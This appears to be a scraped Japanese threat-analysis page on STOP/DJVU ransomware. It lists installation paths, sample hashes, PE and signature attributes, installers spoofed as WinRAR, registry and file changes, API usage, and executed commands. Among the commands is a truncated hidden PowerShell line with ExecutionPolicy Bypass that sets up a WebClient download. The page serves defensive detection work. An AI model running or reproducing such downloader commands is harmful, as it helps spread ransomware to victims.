%ALLUSERSPROFILE%\tzjajmmqgl

%PROGRAMFILES%\3DMarkproed

%PROGRAMFILES%\3DMarkproediot

%PROGRAMFILES%\3DMarkproedit

%PROGRAMFILES%\3Dmarkproa

%PROGRAMFILES%\Blubnerg

%PROGRAMFILES%\Cry\Cryp

%PROGRAMFILES%\Davai

%PROGRAMFILES%\Glary\Utilities\Settings

%PROGRAMFILES%\Hyps

%PROGRAMFILES%\Innovativ\ddd

%PROGRAMFILES%\Ivp\bin

%PROGRAMFILES%\Laertseer

%PROGRAMFILES%\Lawer\Xor

%PROGRAMFILES%\Marg\Cr

%PROGRAMFILES%\Mup\Cr

%PROGRAMFILES%\Opute

%PROGRAMFILES%\Rondom

%PROGRAMFILES%\Sir\Air

%PROGRAMFILES%\Tryhd

%PROGRAMFILES%\cedfs

%PROGRAMFILES%\chrum\xon\note

%PROGRAMFILES%\company\3dmarkssdf

%PROGRAMFILES%\company\64Product

%PROGRAMFILES%\crights\file\xml

%PROGRAMFILES%\cryptoss

%PROGRAMFILES%\crys\cry

%PROGRAMFILES%\crysp\cryq

%PROGRAMFILES%\der\supr

%PROGRAMFILES%\dera\kii

%PROGRAMFILES%\ferr\seda\sx\bin

%PROGRAMFILES%\hop

%PROGRAMFILES%\inner\win\bin

%PROGRAMFILES%\krontal

%PROGRAMFILES%\laert

%PROGRAMFILES%\laerts

%PROGRAMFILES%\lass\inst

%PROGRAMFILES%\lastpass\bur\tronfiles

%PROGRAMFILES%\lawop

%PROGRAMFILES%\lawops

%PROGRAMFILES%\margin\marg

%PROGRAMFILES%\opur

%PROGRAMFILES%\sccsd

%PROGRAMFILES%\sir\xd

%PROGRAMFILES%\virtka

%PROGRAMFILES%\xery

%PROGRAMFILES%\youtubedown

%PROGRAMFILES(x86)%\3DMarkproed

%PROGRAMFILES(x86)%\3DMarkproediot

%PROGRAMFILES(x86)%\3DMarkproedit

%PROGRAMFILES(x86)%\3Dmarkproa

%PROGRAMFILES(x86)%\Blubnerg

%PROGRAMFILES(x86)%\Cry\Cryp

%PROGRAMFILES(x86)%\Davai

%PROGRAMFILES(x86)%\Hyps

%PROGRAMFILES(x86)%\Innovativ\ddd

%PROGRAMFILES(x86)%\Laertseer

%PROGRAMFILES(x86)%\Lawer\Xor

%PROGRAMFILES(x86)%\Marg\Cr

%PROGRAMFILES(x86)%\Mup\Cr

%PROGRAMFILES(x86)%\Opute

%PROGRAMFILES(x86)%\Rondom

%PROGRAMFILES(x86)%\Sir\Air

%PROGRAMFILES(x86)%\Tryhd

%PROGRAMFILES(x86)%\cedfs

%PROGRAMFILES(x86)%\chrum\xon\note

%PROGRAMFILES(x86)%\company\3dmarkssdf

%PROGRAMFILES(x86)%\company\64Product

%PROGRAMFILES(x86)%\crights\file\xml

%PROGRAMFILES(x86)%\cryptoss

%PROGRAMFILES(x86)%\crys\cry

%PROGRAMFILES(x86)%\crysp\cryq

%PROGRAMFILES(x86)%\der\supr

%PROGRAMFILES(x86)%\dera\kii

%PROGRAMFILES(x86)%\ferr\seda\sx\bin

%PROGRAMFILES(x86)%\hop

%PROGRAMFILES(x86)%\inner\win\bin

%PROGRAMFILES(x86)%\krontal

%PROGRAMFILES(x86)%\laert

%PROGRAMFILES(x86)%\laerts

%PROGRAMFILES(x86)%\lass\inst

%PROGRAMFILES(x86)%\lastpass\bur\tronfiles

%PROGRAMFILES(x86)%\lawop

%PROGRAMFILES(x86)%\lawops

%PROGRAMFILES(x86)%\margin\marg

%PROGRAMFILES(x86)%\opur

%PROGRAMFILES(x86)%\sccsd

%PROGRAMFILES(x86)%\sir\xd

%PROGRAMFILES(x86)%\virtka

%PROGRAMFILES(x86)%\xery

%PROGRAMFILES(x86)%\youtubedown

%ProgramFiles%\kiss\me

%ProgramFiles%\mroz\new\trunk

%ProgramFiles(x86)%\kiss\me

%ProgramFiles(x86)%\mroz\new\trunk

分析レポート

一般情報

苗字：	STOP/DJVU Ransomware
署名ステータス:	No Signature

既知のサンプル

MD5: def8a7bfe5fe47d95a95085d8dbc7a53

SHA1: 7182d4b2f55a560d83edf0824e119f71fa8422b6

SHA256: B83855EA63E7F28396099A5B6E877BE537E78E4A50DF720262461A1D13B02192

ファイルサイズ: 6.29 MB 、 6292105バイト

MD5: a6b8c0cb178c31dd347554c3e5a0d5f8

SHA1: 91864f269d696ee80869cfeb3c9a204f8031a3bb

SHA256: 4FFB8E9ADF508662B5E51CBEC75B2E07CE1CBBFAAB873F72EDC7BAC385421E2C

ファイルサイズ: 3.47 MB 、 3471869バイト

MD5: 2336c9624d9a44c393d354206226f508

SHA1: ea7edc388ad62990f52b9ed40df26d20f4e20190

SHA256: CE48ED04C92143B7E91F9665DD9337B2EE0B9CC1B5AEE534D26C09E084F8ABB0

ファイルサイズ: 1.36 MB 、 1359918バイト

MD5: 42f32aa699bc45a3638ddeb325ebebc1

SHA1: 508cea3ba2bf04cc6851295f92bf0e752071f6b8

SHA256: 16532B38591B713395C288B11610494BCC4C4537BE492D43C54D66FEB7B95FA4

ファイルサイズ: 1.33 MB 、 1328186バイト

MD5: 2391d41548b6432191f73edefa273928

SHA1: 620b714f84955aa7fb9a2f2cd528daa1621e18af

SHA256: 4D1EFAA3477B0B8D84025F3F0109E97ABA7CEB37F174B9DC79B7966CBB430959

ファイルサイズ: 3.36 MB 、 3357556バイト

MD5: 710c3a1beb616d4aa7d5ed9a7f8848e4

SHA1: 326da9ddc0ea840e83f31fbf1f3377a06c911fe5

SHA256: 051DAB5E5247E25D6EB059A574383FB1EC99A5A4AAF9AA3694240FE25FA260AB

ファイルサイズ: 1.36 MB 、 1364106バイト

MD5: 601b120a6f39f72847b2f581a3d5f158

SHA1: 0cc5781c1cfe6c5d034bd098229773e80e083732

SHA256: BEC2BFF460615A35D4EA35BF25E9F89337E35E73441A4AC07562CE8E89BED818

ファイルサイズ: 4.86 MB 、 4858569バイト

MD5: a7b76a49f289081961f8f3824f0b62ca

SHA1: 6908790199785be7fc6c4eeb1fe426ee1b66cc0b

SHA256: 1A721E054386833AEBBF94C75871143376897E92C4A48278DDE95E6987634F45

ファイルサイズ: 1.41 MB 、 1406899バイト

MD5: 9f37930d62a1e08f68aa0a72472e7a55

SHA1: 27706b3ff639e5dfa264a823dbe9229cf34ae153

SHA256: 29039902EEA4EE24C4C6368AA9B1D7F86BEC65ADA3ABDB0B92C1FEF311ACD31F

ファイルサイズ: 600.12 KB 、 600124バイト

MD5: 7a18839fe61e9cde0e8fea3100acfb2b

SHA1: 9476c97a73e027016e9f6f2f20c2fb19264cd837

SHA256: 0271095F0AD5C6F26C9738ED5636E751B8868C1AE3B08D5D8C5218121D9FEEAF

ファイルサイズ: 316.83 KB 、 316832バイト

MD5: fe17d0f940a226e80cc18b4399da4ffc

SHA1: cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b

SHA256: D869A00DFA1BE0DF6D08BB72B790894D1861834D5E350F5DD54A70C3711BA713

ファイルサイズ: 1.36 MB 、 1363661バイト

MD5: ed83bea5600457af815495b10f235b87

SHA1: 14ac62ce3ae6b19186544e46ad7710d1814e3a9c

SHA256: FC0AE843E31F77574448FF343F0E92A9F1953B43DC2495FFE2CA5F7F8E777401

ファイルサイズ: 9.59 MB 、 9590154バイト

MD5: 8cc4ef6bfd98074474e53cefc0029d0a

SHA1: 7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9

SHA256: 72BE2A65C8E36058A40FB1EF582E944721F5D041044F454509242E00E6745198

ファイルサイズ: 1.41 MB 、 1407173バイト

MD5: 75e7ec1010908f6cf964ee32c9d57fed

SHA1: 7cccec52318eadb6771ceef6404e19fc46ec8d07

SHA256: A309D56010D51F07741773ABCC44C767EF99C1031DEFA575F07D11DD11F09E35

ファイルサイズ: 2.44 MB 、 2442353バイト

Windowsポータブル実行可能ファイルの属性

File doesn't have "Rich" header
File doesn't have debug information
File doesn't have exports table
File doesn't have relocations information
File doesn't have security information
File has exports table
File has TLS information
File is 32-bit executable
File is 64-bit executable
File is either console or GUI application

File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
File is Native application (NOT .NET application)
File is not packed
IMAGE_FILE_DLL is not set inside PE header (Executable)
IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

ファイルアイコン

Windows PE バージョン情報

ネーム	価値
Assembly Version	1.4.1.0
Comments	This installation was built with Inno Setup.
Company Name	Alexander Roshal Microsoft TrayToolbar win.rar GmbH WinTools Software Engineering, Ltd.
File Description	Archiwizer WinRAR Gestione archivi WinRAR RAM Saver Professional TrayToolbar WinRAR 5.60 64 Bit Setup WinRAR archiver WinRAR Installer
File Version	26.3.1 26.2.1 26.0.1 25.7.1 25.6.1 25.4.1 7.21.0.0 6.20.2 6.2.0 1.4.1.0 もっと見る 1.3.0.0 1.00
Internal Name	TJprojMain TrayToolbar.dll Win WinRAR winrar-7.21-setup
Legal Copyright	Copyright © 1993-2026 Александр Рошал Copyright © Alexander Roshal 1993-2021 Copyright © Alexander Roshal 1993-2022 Copyright Â© Alexander Roshal 1993-2025 © Brontech, LLC
Original Filename	TJprojMain.exe TrayToolbar.dll Win.exe winrar-7.21-setup.exe WinRAR.exe
Product Name	Project1 RAM Saver 25.4.1 Professional RAM Saver 25.6.1 Professional RAM Saver 25.7.1 Professional RAM Saver 26.0.1 Professional RAM Saver 26.2.1 Professional RAM Saver 26.3.1 Professional TrayToolbar Win WinRAR もっと見る WinRAR 5.60 64 Bit WinRAR Installer
Product Version	26.3.1 26.2.1 26.0.1 25.7.1 25.6.1 25.4.1 7.21 6.20.2 6.2.0 5.60 もっと見る 1.4.1+80dec33e25323db7125ddec35b475aa881292801 1.4.0 1.00

デジタル署名

署名者	根	状態
win.rar GmbH	DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1	Self Signed
win.rar GmbH	GlobalSign CodeSigning CA - SHA256 - G3	Hash Mismatch

ファイル特性

.NET
2+ executable sections
big overlay
fptable
HighEntropy
Inno
InnoSetup Installer
Installer Manifest
Installer Version
MZ (In Overlay)

No Version Info
Nullsoft Installer
RAR (In Overlay)
RARinO
Run
SusSec
vb6
WinRAR SFX
WRARSFX
x64
x86

ファイルが変更されました

ファイル	属性
\device\namedpipe	Generic Read,Write Attributes
\device\namedpipe	Generic Write,Read Attributes
\device\namedpipe\gmdasllogger	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-13e8d.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-2buvv.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-88uan.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-8gkji.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-af9e7.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-bfiig.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-dlucn.tmp\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173.tmp	Generic Write,Read Attributes

c:\users\user\appdata\local\temp\is-du263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-i0kj9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-jos42.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-l4opd.tmp\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-pk5hm.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-r9udb.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-shkd6.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\nshfa46.tmp\chip.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\header.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\nsdialogs.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\screenshot.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\system.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\winrar-x64-721b1ru.exe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\yandex.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\yandexbrowsersetup.exe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsrfa35.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data,Delete
c:\users\user\appdata\local\temp\nsva331.tmp\banner.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\nsexec.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\system.dll	Generic Write,Read Attributes

レジストリの変更

キー::値	データ	API名
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75	wk�8�jg�B �� 6 �v�� 7� �� ۀ��T�B��%��3bBx�<��!#��$kF$��%`�%�&� &�-'�!(�(X�(�) ;)E)�`J9�",=�-!R0P%1`1�1HO5,]5�G>��@V�@�A��BB��E�mF	RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	졷鑂셱ǜ	RegNtPreCreateKey

Windows API の使用方法

カテゴリ	API
Other Suspicious	SetWindowsHookEx
Anti Debug	IsDebuggerPresent OutputDebugString
User Data Access	GetUserDefaultLocaleName GetUserObjectInformation
Process Manipulation Evasion	NtUnmapViewOfSection ZwMapViewOfSection
Process Shell Execute	CreateProcess
Keyboard Access	GetKeyState
Syscall Use	ntdll.dll!NtAccessCheck ntdll.dll!NtAlertThreadByThreadId ntdll.dll!NtAlpcConnectPortEx ntdll.dll!NtAlpcCreateSecurityContext ntdll.dll!NtAlpcDeleteSecurityContext ntdll.dll!NtAlpcQueryInformation ntdll.dll!NtAlpcSendWaitReceivePort ntdll.dll!NtApphelpCacheControl ntdll.dll!NtClearEvent ntdll.dll!NtClose もっと見る ntdll.dll!NtConnectPort ntdll.dll!NtCreateEvent ntdll.dll!NtCreateMutant ntdll.dll!NtCreateSection ntdll.dll!NtCreateSemaphore ntdll.dll!NtCreateThreadEx ntdll.dll!NtDuplicateObject ntdll.dll!NtDuplicateToken ntdll.dll!NtEnumerateValueKey ntdll.dll!NtFreeVirtualMemory ntdll.dll!NtMapViewOfSection ntdll.dll!NtNotifyChangeKey ntdll.dll!NtOpenDirectoryObject ntdll.dll!NtOpenEvent ntdll.dll!NtOpenFile ntdll.dll!NtOpenKey ntdll.dll!NtOpenKeyEx ntdll.dll!NtOpenProcessToken ntdll.dll!NtOpenProcessTokenEx ntdll.dll!NtOpenSection ntdll.dll!NtOpenSemaphore ntdll.dll!NtOpenThreadToken ntdll.dll!NtOpenThreadTokenEx ntdll.dll!NtProtectVirtualMemory ntdll.dll!NtQueryAttributesFile ntdll.dll!NtQueryFullAttributesFile ntdll.dll!NtQueryInformationFile ntdll.dll!NtQueryInformationProcess ntdll.dll!NtQueryInformationThread ntdll.dll!NtQueryInformationToken ntdll.dll!NtQueryKey ntdll.dll!NtQueryLicenseValue ntdll.dll!NtQueryPerformanceCounter ntdll.dll!NtQuerySecurityAttributesToken ntdll.dll!NtQuerySecurityObject ntdll.dll!NtQuerySystemInformation ntdll.dll!NtQuerySystemInformationEx ntdll.dll!NtQueryValueKey ntdll.dll!NtQueryVirtualMemory ntdll.dll!NtQueryVolumeInformationFile ntdll.dll!NtQueryWnfStateData ntdll.dll!NtReleaseMutant ntdll.dll!NtReleaseSemaphore ntdll.dll!NtReleaseWorkerFactoryWorker ntdll.dll!NtRequestWaitReplyPort ntdll.dll!NtResumeThread ntdll.dll!NtSetEvent ntdll.dll!NtSetInformationKey ntdll.dll!NtSetInformationProcess ntdll.dll!NtSetInformationThread ntdll.dll!NtSetInformationVirtualMemory ntdll.dll!NtSetInformationWorkerFactory ntdll.dll!NtSetTimer2 ntdll.dll!NtSubscribeWnfStateChange ntdll.dll!NtTestAlert ntdll.dll!NtTraceControl ntdll.dll!NtUnmapViewOfSection ntdll.dll!NtUnmapViewOfSectionEx ntdll.dll!NtWaitForAlertByThreadId ntdll.dll!NtWaitForMultipleObjects ntdll.dll!NtWaitForSingleObject ntdll.dll!NtWaitForWorkViaWorkerFactory ntdll.dll!NtWaitLowEventPair ntdll.dll!NtWorkerFactoryWorkerReady ntdll.dll!NtWriteFile UNKNOWN
Encryption Used	BCryptOpenAlgorithmProvider

シェルコマンドの実行


							"C:\Users\Lehsoaco\AppData\Local\Temp\is-88UAN.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp" /SL5="$5036E,928289,131584,c:\users\user\downloads\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918"


							"C:\Users\Dfhrhqtz\AppData\Local\Temp\is-13E8D.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp" /SL5="$802E8,896816,131584,c:\users\user\downloads\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186"


							"C:\Users\Eberzneu\AppData\Local\Temp\is-DU263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp" /SL5="$30364,932379,131584,c:\users\user\downloads\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106"


							"C:\Users\Qxnqehmu\AppData\Local\Temp\is-8GKJI.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp" /SL5="$402E8,3435751,309760,c:\users\user\downloads\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569"


							"C:\Users\Qlwpcgcn\AppData\Local\Temp\is-I0KJ9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp" /SL5="$30336,975597,131584,c:\users\user\downloads\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899"


									powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient


									"C:\Users\Czxnhiuo\AppData\Local\Temp\is-L4OPD.tmp\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661.tmp" /SL5="$40356,931898,131584,c:\users\user\downloads\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661"


									"C:\Users\Rziyzfeg\AppData\Local\Temp\is-DLUCN.tmp\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173.tmp" /SL5="$1C02AC,975756,131584,c:\users\user\downloads\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173"

ランサムウェアを停止

脅威スコアカード

EnigmaSoft脅威スコアカード

STOP ランサムウェア感染を認識する方法

STOP ランサムウェアの身代金メモ

STOP ランサムウェアやその他のランサムウェア型トロイの木馬からデータを保護する

2018 年 12 月 6 日更新 — 「helpshadow@india.com」ランサムウェア

2018 年 12 月 13 日更新 — 「.djvu ファイル拡張子」ランサムウェア

2019 年 1 月 11 日更新 — 「.tfude File Extension」ランサムウェア

2019 年 1 月 23 日更新 — 「pausa@bitmessage.ch」ランサムウェア

2019 年 1 月 23 日更新 — 「waiting@bitmessage.ch」ランサムウェア

更新11月25日目、2019 - .zobmと.rote拡張機能

2019 年以降のランサムウェアの阻止

2020 年 3 月 24 日更新 – 新しいバリアント

SpyHunterはランサムウェアを停止を検出して削除します

ランサムウェアを停止スクリーンショット

ファイルシステムの詳細

レジストリの詳細

ディレクトリ

分析レポート

一般情報

既知のサンプル

既知のサンプル

Windowsポータブル実行可能ファイルの属性

Windowsポータブル実行可能ファイルの属性

ファイルアイコン

ファイルアイコン

Windows PE バージョン情報

Windows PE バージョン情報

デジタル署名

デジタル署名

ファイル特性

ファイルが変更されました

ファイルが変更されました

レジストリの変更

レジストリの変更

Windows API の使用方法

Windows API の使用方法

シェルコマンドの実行

シェルコマンドの実行

コメントを送信

関連記事

最も見られました

更新11月25日^目、2019 - .zobmと.rote拡張機能